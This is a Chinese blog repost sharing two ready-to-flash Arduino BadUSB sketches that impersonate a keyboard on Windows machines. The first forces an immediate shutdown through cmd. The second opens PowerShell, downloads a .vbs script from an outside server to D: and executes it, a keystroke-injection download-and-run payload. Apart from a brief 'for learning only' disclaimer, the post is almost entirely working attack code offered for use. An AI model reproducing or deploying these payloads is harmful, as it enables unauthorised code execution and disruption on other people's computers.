其他分享
首页 > 其他分享> > badusb关机代码实用(2例)

badusb关机代码实用(2例)

作者:互联网

关于badusb的漏洞原理自行百度
这里分享两种我自己写好了的代码
注:本教程近供学习研究,任何因使用本教程内容造成行为及后果与本教程及作者无关。

  1. 关机代码
#include <Keyboard.h>
void setup() {
  // put your setup code here, to run once:
  Keyboard.begin();//开始键盘通讯
  delay(5000);//延时
  Keyboard.press(KEY_CAPS_LOCK);//开启大写锁
  Keyboard.release(KEY_CAPS_LOCK);
  delay(50);
  Keyboard.press(KEY_LEFT_GUI);//win键
  delay(500);
  Keyboard.press('r');//r键
  delay(500);
  Keyboard.release(KEY_LEFT_GUI);//按住win+R
  Keyboard.release('r');
  Keyboard.print("cmd");//输入cmd
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);//回车
  delay(500);
  Keyboard.print("shutdown -s -t 0");//关机
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);//回车
  Keyboard.end();
}

void loop() {
  // put your main code here, to run repeatedly:

}
  1. 自动从服务器下载东东并运行

#include <Keyboard.h>
void setup() {
  // put your setup code here, to run once:
  Keyboard.begin();//开始键盘通讯
  delay(5000);//延时
  Keyboard.press(KEY_CAPS_LOCK);//开启大写锁
  Keyboard.release(KEY_CAPS_LOCK);
  delay(50);
  Keyboard.press(KEY_LEFT_GUI);//win键
  delay(500);
  Keyboard.press('r');//r键
  delay(500);
  Keyboard.release(KEY_LEFT_GUI);//按住win+R
  Keyboard.release('r');
  Keyboard.print("cmd");//输入cmd
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);//回车
  delay(500);
  Keyboard.press(KEY_CAPS_LOCK);//开启大写锁
  Keyboard.release(KEY_CAPS_LOCK);
  delay(50);
  Keyboard.print("start powershell");//启动powershell
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);//回车
  delay(1000);
  Keyboard.print("$client = new-object System.Net.WebClient");//设置为下载器
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);//回车
  delay(500);
  Keyboard.print("$client.DownloadFile('https://wangpan.yuanpeng666.top/index.php/s/pnG3aiDT8x4o3wf/download', 'd:123.vbs')");//下载文件
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);//回车
  delay(1000);
  Keyboard.press(KEY_LEFT_GUI);//win键
  delay(500);
  Keyboard.press('r');//r键
  delay(500);
  Keyboard.release(KEY_LEFT_GUI);//按住win+R
  Keyboard.release('r');
  delay(1000);
  Keyboard.print("d:");//进入D盘
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);//回车
  delay(500);
  Keyboard.print("123.vbs");//执行脚本
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);//回车
  delay(500);
  Keyboard.end();
}

void loop() {
  // put your main code here, to run repeatedly:

}

有问题加我企鹅1461103297

标签:关机,RETURN,badusb,实用,release,delay,KEY,Keyboard,press
来源: https://blog.csdn.net/weixin_42758977/article/details/89929084